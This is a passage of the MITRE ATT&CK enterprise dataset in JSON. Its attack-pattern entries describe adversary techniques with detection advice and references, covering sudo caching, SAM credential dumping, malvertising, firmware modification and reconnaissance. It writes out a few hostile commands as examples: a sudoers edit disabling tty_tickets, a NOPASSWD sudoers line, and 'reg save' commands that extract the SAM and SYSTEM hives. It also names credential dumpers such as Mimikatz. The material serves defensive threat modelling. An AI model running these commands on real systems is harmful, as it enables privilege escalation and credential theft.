            "description": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Command: Command Execution",
                "Process: Process Creation",
                "Process: Process Metadata"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
            "created": "2020-02-20T21:09:55.995Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1560/003",
                    "external_id": "T1560.003"
                },
                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                }
            ],
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            ],
            "modified": "2025-04-15T21:50:49.814Z",
            "name": "Archive via Custom Method",
            "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Script: Script Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90",
            "created": "2019-08-30T18:03:05.864Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1578",
                    "external_id": "T1578"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
                }
            ],
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            ],
            "modified": "2025-04-15T22:49:33.134Z",
            "name": "Modify Cloud Compute Infrastructure",
            "description": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)",
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                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Instance: Instance Metadata",
                "Instance: Instance Stop",
                "Snapshot: Snapshot Creation",
                "Volume: Volume Modification",
                "Instance: Instance Modification",
                "Instance: Instance Creation",
                "Volume: Volume Metadata",
                "Instance: Instance Start",
                "Cloud Service: Cloud Service Metadata",
                "Volume: Volume Creation",
                "Snapshot: Snapshot Modification",
                "Snapshot: Snapshot Metadata",
                "Volume: Volume Deletion",
                "Snapshot: Snapshot Deletion",
                "Instance: Instance Deletion"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869",
            "created": "2024-03-28T03:29:35.616Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1584/008",
                    "external_id": "T1584.008"
                },
                {
                    "source_name": "Wired Russia Cyberwar",
                    "description": "Greenberg, A. (2022, November 10). Russia\u2019s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.",
                    "url": "https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/"
                },
                {
                    "source_name": "Mandiant Fortinet Zero Day",
                    "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
                },
                {
                    "source_name": "Justice GRU 2024",
                    "description": "Office of Public Affairs. (2024, February 15). Justice Department Conducts Court-Authorized Disruption of Botnet Controlled by the Russian Federation\u2019s Main Intelligence Directorate of the General Staff (GRU). Retrieved March 28, 2024.",
                    "url": "https://www.justice.gov/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:51:26.650Z",
            "name": "Network Devices",
            "description": "Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting.\n\nOnce an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices.\n\nAdversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nCompromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024)",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--155207c0-7f53-4f13-a06b-0a9907ef5096",
            "created": "2023-02-21T20:46:57.170Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583/008",
                    "external_id": "T1583.008"
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                {
                    "source_name": "BBC-malvertising",
                    "description": "BBC. (2011, March 29). Spotify ads hit by malware attack. Retrieved February 21, 2023.",
                    "url": "https://www.bbc.com/news/technology-12891182"
                },
                {
                    "source_name": "FBI-search",
                    "description": "FBI. (2022, December 21). Cyber Criminals Impersonating Brands Using Search Engine Advertisement Services to Defraud Users. Retrieved February 21, 2023.",
                    "url": "https://www.ic3.gov/Media/Y2022/PSA221221"
                },
                {
                    "source_name": "sentinelone-malvertising",
                    "description": "Hegel, Tom. (2023, January 19). Breaking Down the SEO Poisoning Attack | How Attackers Are Hijacking Search Results. Retrieved February 21, 2023.",
                    "url": "https://www.sentinelone.com/blog/breaking-down-the-seo-poisoning-attack-how-attackers-are-hijacking-search-results/"
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                {
                    "source_name": "spamhaus-malvertising",
                    "description": "Miller, Sarah. (2023, February 2). A surge of malvertising across Google Ads is distributing dangerous malware. Retrieved February 21, 2023.",
                    "url": "https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/"
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                    "source_name": "Masquerads-Guardio",
                    "description": "Tal, Nati. (2022, December 28). \u201cMasquerAds\u201d \u2014 Google\u2019s Ad-Words Massively Abused by Threat Actors, Targeting Organizations, GPUs and Crypto Wallets. Retrieved February 21, 2023.",
                    "url": "https://labs.guard.io/masquerads-googles-ad-words-massively-abused-by-threat-actors-targeting-organizations-gpus-42ae73ee8a1e"
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            "modified": "2025-04-15T22:47:29.928Z",
            "name": "Malvertising",
            "description": "Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations  online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network\u2019s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. \n\nAdversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary\u2019s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising) \n\nMalvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.(Citation: BBC-malvertising)\n\nAdversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising) ",
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            "type": "attack-pattern",
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            "created": "2017-05-31T21:30:55.471Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "T1069"
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                {
                    "source_name": "K8s Authorization Overview",
                    "description": "Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.",
                    "url": "https://kubernetes.io/docs/reference/access-authn-authz/authorization/"
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                {
                    "source_name": "CrowdStrike BloodHound April 2018",
                    "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020.",
                    "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/"
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            "name": "Permission Groups Discovery",
            "description": "Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.\n\nAdversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)",
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            "x_mitre_contributors": [
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                "Yuval Avrahami, Palo Alto Networks",
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            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as <code>kubectl auth can-i</code>.(Citation: K8s Authorization Overview)",
            "x_mitre_domains": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
            "created": "2017-05-31T21:31:25.454Z",
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                    "url": "https://attack.mitre.org/techniques/T1114",
                    "external_id": "T1114"
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                {
                    "source_name": "CISA AA20-352A 2021",
                    "description": "CISA. (2021, April 15). Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations. Retrieved August 30, 2024.",
                    "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a"
                },
                {
                    "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
                    "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
                    "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"
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                {
                    "source_name": "TrustedSec OOB Communications",
                    "description": "Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.",
                    "url": "https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response"
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            "modified": "2025-04-15T22:26:37.477Z",
            "name": "Email Collection",
            "description": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses.(Citation: TrustedSec OOB Communications)(Citation: CISA AA20-352A 2021) Adversaries can collect or forward email from mail servers or clients. ",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include <code>X-MS-Exchange-Organization-AutoForwarded</code> set to true, <code>X-MailFwdBy</code> and <code>X-Forwarded-To</code>. The <code>forwardingSMTPAddress</code> parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the <code>X-MS-Exchange-Organization-AutoForwarded</code> header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.",
            "x_mitre_domains": [
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "created": "2020-02-11T18:42:07.281Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1003/002",
                    "external_id": "T1003.002"
                },
                {
                    "source_name": "GitHub Creddump7",
                    "description": "Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.",
                    "url": "https://github.com/Neohapsis/creddump7"
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            "modified": "2025-04-15T23:04:51.689Z",
            "name": "Security Account Manager",
            "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* <code>reg save HKLM\\sam sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n",
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            "x_mitre_detection": "Hash dumpers open the Security Accounts Manager (SAM) on the local file system (<code>%SystemRoot%/system32/config/SAM</code>) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f",
            "created": "2020-10-02T16:56:49.744Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1596/002",
                    "external_id": "T1596.002"
                },
                {
                    "source_name": "WHOIS",
                    "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
                    "url": "https://who.is/"
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            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T23:20:02.082Z",
            "name": "WHOIS",
            "description": "Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
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            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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            "created": "2019-12-19T19:43:34.507Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1542/001",
                    "external_id": "T1542.001"
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                {
                    "source_name": "McAfee CHIPSEC Blog",
                    "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.",
                    "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/"
                },
                {
                    "source_name": "MITRE Copernicus",
                    "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.",
                    "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about"
                },
                {
                    "source_name": "Intel HackingTeam UEFI Rootkit",
                    "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20170313124421/http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"
                },
                {
                    "source_name": "Github CHIPSEC",
                    "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.",
                    "url": "https://github.com/chipsec/chipsec"
                },
                {
                    "source_name": "About UEFI",
                    "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
                    "url": "http://www.uefi.org/about"
                },
                {
                    "source_name": "MITRE Trustworthy Firmware Measurement",
                    "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
                    "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"
                },
                {
                    "source_name": "Wikipedia UEFI",
                    "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface"
                },
                {
                    "source_name": "Wikipedia BIOS",
                    "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.",
                    "url": "https://en.wikipedia.org/wiki/BIOS"
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            "modified": "2025-04-15T19:58:09.046Z",
            "name": "System Firmware",
            "description": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.",
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                {
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                    "phase_name": "persistence"
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                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
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                "McAfee",
                "Ryan Becwar"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)",
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            "type": "attack-pattern",
            "id": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26",
            "created": "2020-10-02T16:51:50.306Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1594",
                    "external_id": "T1594"
                },
                {
                    "source_name": "Perez Sitemap XML 2023",
                    "description": "Adi Perez. (2023, February 22). How Attackers Can Misuse Sitemaps to Enumerate Users and Discover Sensitive Information. Retrieved July 18, 2024.",
                    "url": "https://medium.com/@adimenia/how-attackers-can-misuse-sitemaps-to-enumerate-users-and-discover-sensitive-information-361a5065857a"
                },
                {
                    "source_name": "Comparitech Leak",
                    "description": "Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020.",
                    "url": "https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/"
                },
                {
                    "source_name": "Register Robots TXT 2015",
                    "description": "Darren Pauli. (2015, May 19). Robots.txt tells hackers the places you don't want them to look. Retrieved July 18, 2024.",
                    "url": "https://www.theregister.com/2015/05/19/robotstxt/"
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            "modified": "2025-04-15T23:04:36.505Z",
            "name": "Search Victim-Owned Websites",
            "description": "Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).\n\nIn addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003), as well as by leveraging files such as sitemap.xml and robots.txt.(Citation: Perez Sitemap XML 2023)(Citation: Register Robots TXT 2015) ",
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2",
            "created": "2020-02-21T21:15:33.222Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1069/003",
                    "external_id": "T1069.003"
                },
                {
                    "source_name": "AWS Get Bucket ACL",
                    "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
                    "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html"
                },
                {
                    "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
                    "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
                },
                {
                    "source_name": "Black Hills Red Teaming MS AD Azure, 2018",
                    "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
                    "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
                },
                {
                    "source_name": "Google Cloud Identity API Documentation",
                    "description": "Google. (n.d.). Retrieved March 16, 2021.",
                    "url": "https://cloud.google.com/identity/docs/reference/rest"
                },
                {
                    "source_name": "Microsoft AZ CLI",
                    "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
                },
                {
                    "source_name": "Microsoft Msolrole",
                    "description": "Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.",
